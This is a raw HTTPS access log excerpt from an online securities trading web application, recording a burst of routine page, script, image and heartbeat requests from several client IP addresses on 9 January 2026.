[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/atmosphere.js HTTP/1.1" 13461
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-1.10.3.js HTTP/1.1" 69642
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.mousewheel-3.1.4.js HTTP/1.1" 822
[09/Jan/2026:14:58:12 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942162322 HTTP/1.1" -
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter.widgets-2.14.5.js HTTP/1.1" 8611
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.combobox.packed.js HTTP/1.1" 3387
[09/Jan/2026:14:58:12 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.tablesorter-2.14.5.js HTTP/1.1" 8901
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/json/json2.js?jsv=20200819161914 HTTP/1.1" 1372
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.selectboxes.pack.js HTTP/1.1" 1640
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/date.js HTTP/1.1" 2807
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/settings/crm_display_settings.js?jsv=20200819161914 HTTP/1.1" 1781
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/globalize-0.1.0a1.js HTTP/1.1" 6984
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_mdf.js?jsv=20200819161914 HTTP/1.1" 856
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/corporate.js?jsv=20200819161914 HTTP/1.1" 1575
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_hkex.js?jsv=20200819161914 HTTP/1.1" 2300
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/main.js?jsv=20200819161914 HTTP/1.1" 30725
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_bshare.js?jsv=20200819161914 HTTP/1.1" 1567
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_ashare.js?jsv=20200819161914 HTTP/1.1" 2482
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/validation_global.js?jsv=20200819161914 HTTP/1.1" 1564
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/spread_cache.js?jsv=20200819161914 HTTP/1.1" 908
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mm.js?jsv=20200819161914 HTTP/1.1" 487
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/account.js?jsv=20200819161914 HTTP/1.1" 2656
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/cash_transfer.js?jsv=20200819161914 HTTP/1.1" 2712
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/ipo.js?jsv=20200819161914 HTTP/1.1" 5726
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/isec_calculator.js?jsv=20200819161914 HTTP/1.1" 1364
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/eStatement.js?jsv=20200819161914 HTTP/1.1" 562
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction.js?jsv=20200819161914 HTTP/1.1" 2178
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/ExchangeList?fmt=js&jsv=20200819161914 HTTP/1.1" 146
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/payment_instruction_IMOS.js?jsv=20200819161914 HTTP/1.1" 6874
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes.js?jsv=20200819161914 HTTP/1.1" 4816
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/mode-ecb.js?jsv=20200819161914 HTTP/1.1" 199
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/utilSpec.js?jsv=20200819161914 HTTP/1.1" 27
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pw_alert.js?jsv=20200819161914 HTTP/1.1" 418
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/update_lastlogin.js?jsv=20200819161914 HTTP/1.1" 980
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.mousewheel.js HTTP/1.1" 684
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.jscrollpane.js HTTP/1.1" 685
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jquery.cookie.js HTTP/1.1" 834
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/decimal.js HTTP/1.1" 13492
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01.jpg HTTP/1.1" 3466
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/logo.png HTTP/1.1" 7042
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/GoodTillDateValidExch?fmt=js&jsv=20200819161914 HTTP/1.1" 29
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu_logout.jpg HTTP/1.1" 1016
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg2.jpg HTTP/1.1" 330
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg1.jpg HTTP/1.1" 329
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/images/top_bg3.jpg HTTP/1.1" 878
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PopUpConfig HTTP/1.1" 89
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 15
[09/Jan/2026:14:58:13 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767942163611 HTTP/1.1" 3188
[09/Jan/2026:14:58:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942162886 HTTP/1.1" -
[09/Jan/2026:14:58:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:58:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:58:15 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942170705 HTTP/1.1" -
[09/Jan/2026:14:58:16 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767942180992 HTTP/1.1" -
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/CustomerInfoLite HTTP/1.1" 131
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/tc/dialog.html HTTP/1.1" 3188
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu04.jpg HTTP/1.1" 3430
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/trade.html HTTP/1.1" 2113
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SpreadPriceCache HTTP/1.1" 1947
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/top_menu01_o.jpg HTTP/1.1" 3339
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/GetLastLoginDate HTTP/1.1" 698
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/getpopupMsgName.jsp HTTP/1.1" -
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style_common.css?v=20200819161914 HTTP/1.1" 2540
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/style.css?v=20200819161914 HTTP/1.1" 1435
[09/Jan/2026:14:58:16 +0800] 180.163.30.100 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.form-3.46.0.js HTTP/1.1" 5673
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.blockUI-2.66.0.js HTTP/1.1" 6651
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-migrate-3.0.0.js HTTP/1.1" 4963
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/additional-methods.js HTTP/1.1" 2238
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.validate-1.11.1.js HTTP/1.1" 7041
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-3.3.1.js HTTP/1.1" 80650
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.timer-0.9.16.js HTTP/1.1" 542
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery.getParams.js HTTP/1.1" 587
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:58:16 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/jquery-ui-personalized-1.6rc2.min.js HTTP/1.1" 55543
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/string_extend.js?jsv=20200819161914 HTTP/1.1" 272
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt.js?jsv=20200819161914 HTTP/1.1" 982
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_cbc.js?jsv=20200819161914 HTTP/1.1" 2043
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/asn1.js?jsv=20200819161914 HTTP/1.1" 3099
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/prng4.js?jsv=20200819161914 HTTP/1.1" 303
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rng.js?jsv=20200819161914 HTTP/1.1" 481
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsa.js?jsv=20200819161914 HTTP/1.1" 1658
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/bg_login.jpg HTTP/1.1" 29296
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/dialog.html?1767942166980 HTTP/1.1" 3188
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SystemMaintenanceCheck HTTP/1.1" 119
[09/Jan/2026:14:58:17 +0800] 14.19.25.16 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/images/favicon.ico HTTP/1.1" 682
[09/Jan/2026:14:58:17 +0800] 180.163.28.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/translation.js?jsv=20200819161914 HTTP/1.1" 12818
[09/Jan/2026:14:58:17 +0800] 180.163.28.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/user/custom_variables.js?jsv=20200819161914 HTTP/1.1" 275
[09/Jan/2026:14:58:17 +0800] 180.163.28.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/pidcrypt_util.js?jsv=20200819161914 HTTP/1.1" 1206
[09/Jan/2026:14:58:17 +0800] 180.163.28.109 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/aes_core.js?jsv=20200819161914 HTTP/1.1" 2106
[09/Jan/2026:14:58:17 +0800] 180.163.28.180 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/haitong.js?jsv=20200819161914 HTTP/1.1" 3881
[09/Jan/2026:14:58:17 +0800] 180.163.29.217 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/util.js?jsv=20200819161914 HTTP/1.1" 6636
[09/Jan/2026:14:58:17 +0800] 180.163.28.55 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/init.js?jsv=20200819161914 HTTP/1.1" 886
[09/Jan/2026:14:58:17 +0800] 180.163.29.234 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/constants.js?jsv=20200819161914 HTTP/1.1" 400
[09/Jan/2026:14:58:17 +0800] 180.163.30.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/version.js?jsv=20200819161914 HTTP/1.1" 85
[09/Jan/2026:14:58:17 +0800] 180.163.30.85 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/rsautil.js?jsv=20200819161914 HTTP/1.1" 1017
[09/Jan/2026:14:58:17 +0800] 180.163.29.206 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/sha256.js?jsv=20200819161914 HTTP/1.1" 1362
[09/Jan/2026:14:58:17 +0800] 180.163.28.180 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/md5.js?jsv=20200819161914 HTTP/1.1" 1730
[09/Jan/2026:14:58:17 +0800] 180.163.28.55 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/jsbn.js?jsv=20200819161914 HTTP/1.1" 6736
[09/Jan/2026:14:58:17 +0800] 180.163.28.114 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/js/login.js?jsv=20200819161914 HTTP/1.1" 1684
